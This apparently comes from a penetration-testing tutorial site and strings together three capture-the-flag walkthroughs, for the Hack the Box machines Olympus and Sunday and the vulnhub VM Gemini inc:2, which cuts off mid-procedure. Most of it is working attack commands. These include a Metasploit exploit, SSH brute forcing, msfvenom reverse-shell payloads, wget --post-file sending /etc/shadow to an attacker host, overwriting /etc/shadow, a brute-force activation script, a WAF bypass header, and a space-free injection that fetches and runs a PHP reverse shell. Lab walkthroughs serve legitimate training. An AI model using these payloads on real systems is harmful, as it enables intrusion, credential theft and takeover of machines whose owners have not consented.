msf (exploit/unix/http/xdebug_unauth_exec) > exploit
Boom!! We have got the meterpreter of the target machine. Then further exploring directories, we noticed a directory /zeus which got a subdirectory /airgeddon. As you can relate it with the image below.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-8CH7SULLX7Y/W7ZcU8XySwI/AAAAAAAAaks/x7fCggtWpDkXgubCLPbN2V_PdwGJ4-PLwCLcBGAs/s1600/4.png?w=687&ssl=1)
Then inside the /airgeddon directory, we opened its subdirectory /captured which shows a file captured.cap.
ls
cd /home
ls
cd zeus
ls
1
2
3
4
5
ls
cd /home
ls
cd zeus
ls
It could be another clue, therefore we downloaded this file on our Kali Desktop as you can see in the image below.
cd airgeddon
ls
cat pindb_checksum.txt
cd captured
ls
download captured.cap /root/Desktop/
cat papyrus.txt
1
2
3
4
5
6
7
cd airgeddon
ls
cat pindb_checksum.txt
cd captured
ls
download captured.cap /root/Desktop/
cat papyrus.txt
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-E6Gzu4hW418/W7ZcVJ5MgII/AAAAAAAAakw/wI-JQWGHeWwQ5w1Ooz-fm1pQv_-QL0kfwCLcBGAs/s1600/5.png?w=687&ssl=1)
After downloading capture.cap file, we need to analyze it. So when we open this file, it was a Wireshark pcap file and by streaming the 1st packet we noticed SSID: Too_clOse_to_th3_Sun as shown in the image. This can be probably used as a Password.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-sZNQBzJaczg/W7ZcVIQZKcI/AAAAAAAAak0/jwPA3J8k0XwljtCmA0BCGHf3JwVZB83sQCLcBGAs/s1600/6.png?w=687&ssl=1)
Now cracking the file captured.cap using aircrack following command:
aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt
1
aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt
After a few minutes, we have found the key: flightoficarus as shown in the image below.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hUeIQJpF6Gg/W7ZcVSodu4I/AAAAAAAAak4/JeijIl5JE5IJv9VK3Ikj0tYw0zaUpoP7QCLcBGAs/s1600/8.png?w=687&ssl=1)
We thought icarus could be a username too. Because earlier when we search “Too close to the Sun” in the Google, it shows the wiki page of icarus. Therefore the following combination of credentials can be used for SSH login via port 2222.
icarus:Too_clOse_to_th3_Sun
ssh [email protected] -p 2222
1
2
icarus:Too_clOse_to_th3_Sun
ssh [email protected] -p 2222
After successfully logging into SSH on navigating further, we acquired a file “help_of_the_gods.txt”. After reading the file it shows us a domain name ctfolympus.htb as shown in the image below.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-U1DAZPuiLtI/W7ZcVV8cLtI/AAAAAAAAak8/7eOS3mS5gZcPaNrvJ0hMNuj3jWne4Dn-wCLcBGAs/s1600/9.png?w=687&ssl=1)
We thought of trying DNS zone transfer since dig uses the axfr response to retrieve your zone information.
dig axfr @10.10.10.83 ctfolympus.htb
1
dig axfr @10.10.10.83 ctfolympus.htb
From the result, we figured that pormetheus can be another username and St34l_th3_F1re! could be the possible password. Also, there is a series of some random port numbers 3456 8234 62431 and this brings us to ponder on port Knocking that can change the state of SSH port 22 from filtered to open.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-APDN7Ofbd8o/W7ZcS_2xdrI/AAAAAAAAakQ/VPacVb5LUEkkwHeIC-DfwK0OxZNlObxSACLcBGAs/s1600/11.png?w=687&ssl=1)
We knocked these ports by executing the following command:
knock -v 10.10.10.83 3456 8234 62431
1
knock -v 10.10.10.83 3456 8234 62431
After knocking these ports just to confirm the state of SSH port 22 by using nmap scan. Here we succeeded in making the SSH port open.
nmap -p22 10.10.10.83
1
nmap -p22 10.10.10.83
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-DTJ6HGHXWEY/W7ZcTIaDCtI/AAAAAAAAakU/07tbxvJWeqIqlklOCoiQXOqJTcCLhzHawCLcBGAs/s1600/13.png?w=687&ssl=1)
Now by logging into SSH port 22 by using the given below credentials:
Prometheus: St34l_th3_F1re!
1
Prometheus: St34l_th3_F1re!
Here!! We have found and read user.txt.
Yuppie!! We have completed our first task, moving on towards the second task.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-04ykMm8iibQ/W7ZcTYBcdRI/AAAAAAAAakY/-Rz9g4XwlHQvbs6nwfi2LOMQqb7EZTjVACLcBGAs/s1600/14.png?w=687&ssl=1)
Then using id command, it came into notice that prometheus is in docker users group. Let’s have a look at docker images and docker ps as shown in the image below.
docker image
docker ps
1
2
docker image
docker ps
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-cgUraEJIgFQ/W7ZcT7blM_I/AAAAAAAAakc/0A2QxbhfBMwcmnW5f-b7fFdFJoGUq1RAgCLcBGAs/s1600/16.png?w=687&ssl=1)
By executing the above command we notice there is a docker_image “olympia” hence we can create a copy of a bash with the following command to escalate root privileges:
Time to get root.txt!!
After looking for some information on how to exploit this, we find that we can access it as root by using the following command:
docker run -v /:/root -i -t olympia /bin/bash
1
docker run -v /:/root -i -t olympia /bin/bash
Booyah!! We have found root.txt and from the image below you can see we have obtained the value of root.txt.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-tUH-Gm7903g/W7ZcT3gjTfI/AAAAAAAAakg/q81jZ1vGhCU9Am04Dvwz1Th9K2U-JIUQACLcBGAs/s1600/17.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Sunday. Sunday is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: find user.txt and root.txt file in the victim’s machine.
Penetration Methodology
Scanning - Open ports and Running services (Nmap)
Enumeration - Identify finger users (Metasploit)
Exploit - SSH Brute force
- Access shell using SSH
Privilege Escalation- Method 1
- Method 2
- Method 3
- Capture root.txt flag
Walk-through
Scanning
Since these labs are online available therefore they have static IP. The IP of Sunday is 10.10.10.76
Let’s start off with scanning the network to find our target.
nmap -p- -A 10.10.10.76 --open
1
nmap -p- -A 10.10.10.76 --open
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EZPbLnejM68/W7It8i5P2cI/AAAAAAAAaig/bXzDE5jEgPgcao8cZMSMNHGKQdfG-B8LACLcBGAs/s1600/1.png?w=687&ssl=1)
Enumeration
So here, we notice very interesting result from nmap scan, here it shown port 79 is open for Sun Solaris fingered. So I Googled for its exploit and found Metasploit exploit “Finger Service User Enumerator”.
Then I load Metasploit framework for Identify valid users through the finger service using a variety of tricks and therefore, use the following module.
use auxiliary/scanner/finger/finger_users
msf auxiliary(scanner/finger/finger_users) > set rhosts 10.10.10.76
msf auxiliary(scanner/finger/finger_users) > set users_file /root/pentest/SecLists/Usernames/Names/names.txt
msf auxiliary(scanner/finger/finger_users) > exploit
1
2
3
4
use auxiliary/scanner/finger/finger_users
msf auxiliary(scanner/finger/finger_users) > set rhosts 10.10.10.76
msf auxiliary(scanner/finger/finger_users) > set users_file /root/pentest/SecLists/Usernames/Names/names.txt
msf auxiliary(scanner/finger/finger_users) > exploit
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-L1M0Bgj03HA/W7It-b9RAGI/AAAAAAAAai8/viYySLi_n_4P8nGu_1w1cTjOoXtfPT0jwCLcBGAs/s1600/2.png?w=687&ssl=1)
Exploit
So, basically it reviled so many usernames which it has found, now make a dictionary of the obtain username and password that will be helpful in SSH login brute force.
Here we have used “patator” for SSH login to launch brute force on port 22022 and execute the following command.
patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=probable-v2-top1575.txt persistent=0
1
patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=probable-v2-top1575.txt persistent=0
Finally, we found the following the password of the user “sunny”.
Password: sunday
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-lYCC-o6SxZg/W7IuBd6c_EI/AAAAAAAAajY/2RSRkqQdBT8KN1aIswHJxLTKQTpw9-taACLcBGAs/s1600/4.png?w=687&ssl=1)
But when we try to login into ssh by using above credential, it gave “no matching key exchange method found” error and also put some hint and drop the connection request.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-aHemGoP8BXo/W7IuBZv0ICI/AAAAAAAAajc/P7ERZM08Ins5njyVQO9eoqz8nDbfcIQHQCLcBGAs/s1600/5.png?w=687&ssl=1)
Then with little more research, I edit the following key to connect SSH and luckily obtain tty shell access.
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected] -p22022
sudo -l
1
2
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected] -p22022
sudo -l
Then I check sudo right for user sunny and notice he can run /root/troll as root without a password.
Lol!! Executing /root/troll was a troll. Further, I check the list for available list and directories, luckily I found shadow.backup inside the /backup directory.
Inside shadow.backup, I found hashes for users Sammy and Sunny.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-gjrzazidSl0/W7IuB7hWnII/AAAAAAAAajg/H9jlq7_eWBMWgSdHVAqnTUp3SFnIU7vRwCLcBGAs/s1600/6.png?w=687&ssl=1)
So we try to crack these hashes by using john the ripper and fortunately obtained the password in plaintext format “cooldude!” of user sammy.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-FCJHiZd1Ym8/W7IuCKanwMI/AAAAAAAAajk/PtBn0mMz_G8UqK3xQEJKtKp6kd5vDYRcwCLcBGAs/s1600/7.png?w=687&ssl=1)
Privilege Escalation Techniques
There are multiple ways to escalated root privilege in this lab, in this article, we have applied 4-ways to escalated root privilege to get the root.txt file.
Now let’s switch from Sunny to Sammy and figure-out assigned sudo permission for him.
sudo -l
1
sudo -l
Great!! We found that he has the right to download any file as root by using wget command. Now let’s also enumerate system binaries having enabled SUID bit.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
There so many binary files having SUID bit enabled, let’s exploit some of them to gain root privilege.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-eNkJ5AoLU2c/W7IuCfMY0fI/AAAAAAAAajo/6iXt-x_gRyMOx0-aMTplBlxBMwd4WKCgACLcBGAs/s1600/8.png?w=687&ssl=1)
Method 1
Now let’s generate a payload using msfvenom, thus you can execute the following command and run php server to transfer this file.
msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf
php -S 0.0.0.0:80
1
2
msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf
php -S 0.0.0.0:80
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/---kwo0MVQys/W7IuCvrE5VI/AAAAAAAAajs/YYgl8-0zvD8yH8eLKHwLmLXH1g4GuJKcgCLcBGAs/s1600/9.png?w=687&ssl=1)
Let’s download above raj.elf through wget inside /tmp directory and replace it from rsh binary. Then start netcat listen in a new terminal to spawn tty shell of root privilege.
cd /tmp
sudo /usr/bin/wget 10.10.14.6/raj.elf -O /usr/bin/rsh
/usr/bin/rsh
1
2
3
cd /tmp
sudo /usr/bin/wget 10.10.14.6/raj.elf -O /usr/bin/rsh
/usr/bin/rsh
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-89-xQLpmf0I/W7It8k0bt6I/AAAAAAAAaik/6g_d83v8jkwN5Yi7_p7GMh7Cy5XYj4ASgCLcBGAs/s1600/10.png?w=687&ssl=1)
Now when you will execute /usr/bin/rsh command, you get root privilege shell access as shown below in the image.
id
1
id
And as you can observe the euid=0 for root, therefore, now let’s grab the root.txt file.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kSRsnkx5gps/W7It8iNOP9I/AAAAAAAAaio/jkgWcrntDkAHFmgGP9NeojIyp5o7wanTgCLcBGAs/s1600/11.png?w=687&ssl=1)
Method 2
The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively.
From [To see content please register here]
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-dmbx25Uuup4/W7It9aVCl8I/AAAAAAAAais/ZdoiaWTx94Iux7ze9m2euKKUJTPg4R0eQCLcBGAs/s1600/16.png?w=687&ssl=1)
Now execute the following command to obtain root privilege shell.
pfexec bash
id
cd /root
ls
cat root.txt
1
2
3
4
5
pfexec bash
id
cd /root
ls
cat root.txt
So, in this lab challenge, we obtain root.txt file through four types of privilege escalation and there might be other ways also available to get the root.txt file. Try it yourself!!
Happy Hacking
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-p5rXfP_pMgM/W7It9vIEQwI/AAAAAAAAaiw/DTas8ovFu4k3OG1hvwMFvvLm359Xu0zAgCLcBGAs/s1600/17.png?w=687&ssl=1)
Method 3
As we know that the sudo permission is available for the wget, thus we can use post-file option method to send the contents of any file for example /etc/password or /etc/shadow files.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-KEyVC1gKdl8/W7It9n0UTHI/AAAAAAAAai0/9j7jtQYq6TEuYMgTOIW84Yhh1LnZU9rZgCLcBGAs/s1600/18.png?w=687&ssl=1)
Therefore we execute the following command to post shadow file content on our local listening machine.
sudo /usr/bin/wget --post-file=/etc/shadow 10.10.14.6
1
sudo /usr/bin/wget --post-file=/etc/shadow 10.10.14.6
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Cwa6_xNeNL0/W7It9_bPIvI/AAAAAAAAai4/YNYCdPimYzcTuEWxK8SrJm2Y4OHn9BoWQCLcBGAs/s1600/19.png?w=687&ssl=1)
And in the terminal where netcat listener is activated, you will get the content of shadow file.
nc -lvp 80
1
nc -lvp 80
From the given image, you can observe that we have obtained the hash value of the root user. Either you can crack the hash value or can modify it.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-tgWMSK32Soc/W7It-7OLBSI/AAAAAAAAajA/6cxusG0RciIlbYfY92cw20Zzw_p-deE0gCLcBGAs/s1600/21.png?w=687&ssl=1)
So we have copied the above content in a text file and so that we can replace the hash value of user: root from the hash value of user: sunny.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iJvcA4_AiXA/W7It_cBNVnI/AAAAAAAAajE/EY8YmCjMN6AvdTIUnnV3sYPLTDTfEaiXQCLcBGAs/s1600/22.png?w=687&ssl=1)
In the given below image, you can observe that we have modified the root hash value by copying user sunny hashes, as we know that the password of sunny is “sunday”. Hence the new password for root will be sunday, now named the file as shadow and ready to transfer it.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8LhuOJf4znE/W7It_8mdfnI/AAAAAAAAajI/KEhWt7yG0y0sgY3jm4H8Yt7jR_UZshsHwCLcBGAs/s1600/23.png?w=687&ssl=1)
Now download the above-modified shadow file in its original path i.e. /etc/shadow, so that it will overwrite the original shadow file.
sudo /usr/bin/wget 10.10.14.6/shadow -O /etc/shadow
1
sudo /usr/bin/wget 10.10.14.6/shadow -O /etc/shadow
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-QWqt0ACL554/W7IuAZndW5I/AAAAAAAAajM/6JMutCjEslgnpuvLNbfUM30kEXuy95VgQCLcBGAs/s1600/24.png?w=687&ssl=1)
Method 4
Similarly, we can also post the content of the root.txt file directly to the listening machine.
sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.6
1
sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.6
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-3DoQS77k_po/W7IuA1LFctI/AAAAAAAAajQ/FG5HhyiPWgctbGjaoOy97NlhU5duDZj4wCLcBGAs/s1600/25.png?w=687&ssl=1)
And in the terminal where netcat listener is activated, you will content of the root.txt file which is root flag.
nc -lvp 80
1
nc -lvp 80
From the given image, you can observe that we have obtained the value of the root.txt.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-I4ITaWptYVc/W7IuBW4CL-I/AAAAAAAAajU/oWjHFU0g42k4q2vVwABbCVUZUQMyj4-OQCLcBGAs/s1600/26.png?w=687&ssl=1)
Hello Friends!! Today we are going to breach a new VM lab “Gemini inc:2” of the vulnhub series and before moving ahead you can also take a look over [To see content please register here] which we had solved earlier.
Gemini Inc has contacted you to perform a penetration testing on one of their internal systems. This system has a web application that is meant for employees to export their profile to a PDF. Identify any vulnerabilities possible with the goal of complete system compromise with root privilege. To demonstrate the level of access obtained, please provide the content of flag.txt located in the root directory as proof.
You can download it from here: [To see content please register here]
Penetration Methodologies:- Network Scanning (Netdiscover, Nmap)
- Obtaining Activation Code (Bash script)
- Web Directory Enumeration (Dirb)
- Bypass WAF (Burp Suite)
- Exploit Remote Code Execution
- Upload Reverse_ shell
- Obtain Reverse connection (Netcat)
- Abusing Redis for privilege escalation
- Capture the flag
WalkThrough
The first step is as always, running netdiscover on the VM to grab the IP address. In my case, the IP was 192.168.1.103
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-5tDjAOUePUs/W6x6Ygz97pI/AAAAAAAAagg/LDNQ71GR5785PM1QthwbT58MyvkLD7wHwCLcBGAs/s1600/1.png?w=687&ssl=1)
Once the IP was found, we ran nmap aggressive scan to enumerate all the open ports.
nmap –A 192.168.1.103
1
nmap –A 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-0_5yFxKEe6Y/W6x6a60IDOI/AAAAAAAAag8/s8uXWL1p6wAkWWOlgxKbcAEKRE7vEOq-QCLcBGAs/s1600/2.png?w=687&ssl=1)
From the nmap scan result, we found port 80 is open for HTTP service, let’s navigate to port 80 in the browser. It put up the Welcome Guest page for login into the web application.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-S0MSxC5T4lI/W6x6cdGYy6I/AAAAAAAAahg/Wg-OTwbe3w0RshWMmJnmOlj9N7F_xxwxACLcBGAs/s1600/3.png?w=687&ssl=1)
When we didn’t find any remarkable clue from its home page, then without wasting much time, I use dirb for web directory enumeration and ran the following command for .php extension related files:
dirb [To see content please register here] -X .php
1
dirb [To see content please register here] -X .php
Hmmm! I fetched some interesting URL, let’s inspect each one-by-one.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ImIH0Yq3pmM/W6x6c37rcpI/AAAAAAAAahk/z6S57fLcLock0_DFBZbCd1O3F625RbMFACLcBGAs/s1600/4.png?w=687&ssl=1)
So further, we navigate to URL: [To see content please register here] and here observe the Activation Form that requires a User ID and Activation Code to activate the account.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-w3SAkCvTQj0/W6x6c4T9_tI/AAAAAAAAaho/maL-jGgd2Fo-HywTROKuo9JC2AL9rMjTgCLcBGAs/s1600/5.png?w=687&ssl=1)
Next, we navigate to URL: [To see content please register here] and here observe the Register Form to register a new account. So I registered for an account as “raaj”.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-C5vPHqbZ8O8/W6x6cxjZqOI/AAAAAAAAahs/nxjk0AraPVUqbn2SfiwJVWlHF5-8fUMeACLcBGAs/s1600/6.png?w=687&ssl=1)
By registering as raaj, a new profile has been generated with User ID-14 as highlighted in the below image but still, we need the 6-digit activation code to activate the user “raaj” account.
To obtain an activation code, I try all possible Hit-Try method but all were a proof waste and at last, I found this [To see content please register here] where I found a bash script for the activation code.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-HIliHXr45qk/W6x6dTjYP1I/AAAAAAAAahw/GflQJFJClOg9n0htPBWEnrqKNm7m2nFmgCLcBGAs/s1600/7.png?w=687&ssl=1)
I copied the following code in a text file and save as gemini.sh on the Desktop. Script Source [To see content please register here]
#!/bin/bash
url="http://192.168.1.103/activate.php"
for key in {000000..999999}; do
token=$(curl -s -c cookie $url | awk -F 'value=' '/token/ {print $2}' | cut -d "'" -f2)
resp=$(curl -s -w %{http_code} -b cookie --data "userid=14&activation_code=$key&token=${token}" $url | tail -n 1 | cut -d ">" -f2)
if [ $resp -ne 403 ]; then
echo "Key = "$key
break
fi
done
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
url="http://192.168.1.103/activate.php"
for key in {000000..999999}; do
token=$(curl -s -c cookie $url | awk -F 'value=' '/token/ {print $2}' | cut -d "'" -f2)
resp=$(curl -s -w %{http_code} -b cookie --data "userid=14&activation_code=$key&token=${token}" $url | tail -n 1 | cut -d ">" -f2)
if [ $resp -ne 403 ]; then
echo "Key = "$key
break
fi
done
And at last, ran the bash script through the following command with user_id “14” to obtain the 6-digit activation code for user “raaj”.
bash gemini.sh
1
bash gemini.sh
Awesome!! So we cracked the activation code “000511” for user “raaj”
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-IaAKlzYXO18/XD4Ny-ojMhI/AAAAAAAAcGA/I0NQCpkFbpwugJ04tX-bLbnSF5uhuyv1gCLcBGAs/s1600/4.png?w=687&ssl=1)
Now, submit your User_id and activated code to activate the account. In my case, my user_id is 14 and the activation code is 000511 for user “raaj”.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-B6NHvNfGaBA/W6x6dko5vfI/AAAAAAAAah4/HbyYvwXAoIkElTAUZyuydQf67qcrt-sDgCLcBGAs/s1600/8.png?w=687&ssl=1)
Great, I got login of raaj and then further I explored User List where I found all activated account of other users.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-LdCdgf7HXMc/W6x6dxeO6NI/AAAAAAAAah8/XABd8Z9Ik4Ae3UfvaDfun_0OXDUf3KveQCLcBGAs/s1600/9.png?w=687&ssl=1)
Then I check the profile of 9emin1 which was actually named as Gemini and here I found it is an administrator account.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-JFxaAyjJK7U/W6x6Y2r3UwI/AAAAAAAAagc/674bUu2RRG0yMHbxmYA34tHW9a1Udg9ZQCLcBGAs/s1600/10.png?w=687&ssl=1)
Then I check its source code where luckily I found the password hashes. I copied the hash value for its decryption.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-dcEIg4_cKog/W6x6YyrwLQI/AAAAAAAAagk/fJqz7oJrboETMa74js1aCOIyp5gD-qeQQCLcBGAs/s1600/11.png?w=687&ssl=1)
Then I use the online MD5 decryption for decrypting the hash value ‘edbd1887e772e13c251f688a5f10c1ffbb67960d’ and finally we obtain the plain text password “secretpassword”.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-RTegpYmGdvA/W6x6ZWnH28I/AAAAAAAAago/VOxxofPmu7wfyuPFHZs8vRPpA4sdih2GwCLcBGAs/s1600/12.png?w=687&ssl=1)
Then we login into the admin panel with the following credential:
Username: Gemini
Password: secretpassword
1
2
Username: Gemini
Password: secretpassword
Then navigate to Admin Panel -> Execute Command. But it shows nothing.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-USghiWFbT8w/W6x6Zso5_-I/AAAAAAAAags/VsXC3oQYy3gtA2KHyzI8ljQAz6gOMlJfQCLcBGAs/s1600/15.png?w=687&ssl=1)
At that moment I used Burp suit for intercepting Http request and then further sent the intercepted request into a repeater to assured what kind of Response it is generating.
Here I look at the HTTP traffic and perceive a 403 IP NOT ALLOWED response. Hence proved the web application is running behind some kind of firewall.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-97isTu4jC5g/W6x6Z44-3mI/AAAAAAAAagw/eFI5H0-bNSU1Lbiy6zGYlKyAK-3RfzuQQCLcBGAs/s1600/16.png?w=687&ssl=1)
Then I Google to bypass WAF through burp suite extension and found a [To see content please register here] for “Bypass WAF”
This extension adds headers to all Burp requests to bypass some WAF products. The following headers are automatically added to all requests:
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
In our case, I use “X-Forwarded-For: 127.0.0.1” and then forward the intercepted HTTP request.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Knp3tLdtMVI/W6x6aLTAczI/AAAAAAAAag0/jJa-hQUbnNUAyK4F0JgdqmOxLVycMoFZQCLcBGAs/s1600/18.png?w=687&ssl=1)
Execute Command
Finally, we got the Execute Command page, and it appears to be vulnerable to RCE where we can run system arbitrary command. Therefore, we try some malicious code such as “;ls” but again it’s shows nothing.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-n9HAJFYIP9s/W6x6aST4iuI/AAAAAAAAag4/h_dPuRbkaK401oIW51Qizx09mRIAo0WFgCLcBGAs/s1600/19.png?w=687&ssl=1)
Here we need to fix X-Forwarded-For: 127.0.0.1 header for each page and to do so follow the below steps:
- Intercept the HTTP request of Execute Command page and go to Options.
- Explore Match and Replace setting then click to edit option to modify the request header.
- A small window will pop-up for Edit match/replace rule, here paste “X-Forwarded-For: 127.0.0.1” in the replace text field.
- Click on Ok and forward the intercepted request.
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-N9SoB-Y7eUM/W6x6a2T9t_I/AAAAAAAAahA/WXupXdnFfLEAHWlpNzGE7nzj5WhjvRljgCLcBGAs/s1600/20.png?w=687&ssl=1)
Now, we can easily exploit RCE vulnerability by uploading our php-reverse-shell. Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php; here I had modified the IP: 192.168.1.106 [kali IP] and listen port as 1234.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-IE1Evd1ErLg/W6x6a5bbt9I/AAAAAAAAahE/c245K96HKzUNxrICPNlf4ELlhpON3UTMQCLcBGAs/s1600/21.png?w=687&ssl=1)
Hey Guys!! You need to pay Attention here:
NOTE: Be careful while executing any command that contains some arguments because here it is executing the command with argument and without spaces. So once again I took the help from Google and found a [To see content please register here] for sending command with argument and without spaces.
IFS=:;a=wget:192.168.1.106/revshell.php:-O/tmp/revshell.php;$a
1
IFS=:;a=wget:192.168.1.106/revshell.php:-O/tmp/revshell.php;$a
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Yr5uGwpmRsA/W6x6bUdNPpI/AAAAAAAAahI/TLy8RDKPbXAvyuv4Jd5NgPp2tArXgsNgwCLcBGAs/s1600/22.png?w=687&ssl=1)
Now type the following command to execute the uploaded backdoor file but before executing following command do not forget to start netcat listener.
IFS=:;a=php:/tmp/revshell.php;$a
1
IFS=:;a=php:/tmp/revshell.php;$a
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-VCtOhBaMvV4/W6x6bdvyHQI/AAAAAAAAahM/quWwg3BtU5UNv0Al8i0L4b3nueX7pkOBgCLcBGAs/s1600/23.png?w=687&ssl=1)
nc –lvp 1234
1
nc –lvp 1234
Now, execute the following command to spawn proper tty shell of the target machine.
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
uname -a
1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
uname -a
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DDLnE_r3VyA/W6x6buT05KI/AAAAAAAAahQ/StYmYVeWjWQSf9t5MDHR1_5RnBSohdjaQCLcBGAs/s1600/24.png?w=687&ssl=1)
Now, let’s go for the post-exploitation to obtain the root.txt file and for that, we need to escalated root privilege. First, we traverse to /home directory but didn’t find any valuable file, therefore, we try to enumerate running services with help of the following command.
netstat -antp
1
netstat -antp
By executing the above command we enumerated the running services and found port 6379 is used for Redis. And as we knew Redis is a key-value store, often referred to as a NoSQL database. The essence of a key-value store is the ability to store some data, called a value, inside a key. This data can later be retrieved only if we know the exact key used to store it.
From source: [To see content please register here]
Therefore, from its configuration file, we retrieved the auth key “8a7b86a2cd89d96dfcc125ebcc0535e6” so that we can extract information.
cd /etc/redis
ls
cat 6379.conf | grep requirepass
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 ping
1
2
3
4
cd /etc/redis
ls
cat 6379.conf | grep requirepass
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 ping
Great!! So we got pong response, now let move ahead for extracting information inside it.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mftxpX-j4Ik/W6x6bwuRNkI/AAAAAAAAahU/LY1PWmHdws4gqvFjoDxQVaCORvjzPoqgwCLcBGAs/s1600/25.png?w=687&ssl=1)
Abusing Redis by writing malicious RSA keypair to the disk and for that, you can follow the given below steps and execute the command as described in the below steps.
- Generate a malicious RSA keypair with help of keygen.
ssh-keygen
1
ssh-keygen
- Prepare the public key by adding newlines with the help of the following command
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > public.txt
1
